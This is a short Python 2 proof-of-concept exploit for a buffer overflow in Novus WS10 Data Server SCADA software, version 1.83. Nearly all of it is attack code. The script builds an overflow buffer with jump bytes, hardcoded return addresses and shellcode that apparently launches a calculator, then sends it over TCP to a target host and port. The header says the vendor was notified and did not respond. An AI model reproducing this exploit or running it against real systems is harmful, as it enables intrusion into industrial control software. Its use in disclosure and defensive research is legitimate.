## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro Sánchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded.
## Notified the vendor, vendor never responded.
## In the new version this PoC stops working
## Vendor: Novus
## http://www.novus.com.br
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation
import os
import socket
import sys
## The process listens on TCP port 2001
host = sys.argv[1]
port =
int
(sys.argv[2])
print
" PoC WS10 Data Server SCADA Exploit "
print
" Pedro Sanchez "
shellcode = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90"
)
## Exploit contructor
ws10 = (
"\x90"
* 1024 +
"\x44"
* 31788)
ws10 += (
"\xeb\x14"
)
ws10 += (
"\x44"
* 6)
ws10 += (
"\xad\xbb\xc3\x77"
)
ws10 += (
"\xb4\x73\xed\x77"
)
ws10 += (
"\x90"
* 21)
ws10 += shellcode
print
" [+] Sending payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(ws10)
data = s.recv(1024)
print
" [+] Closing..."
s.close()
print
" [+] Done!"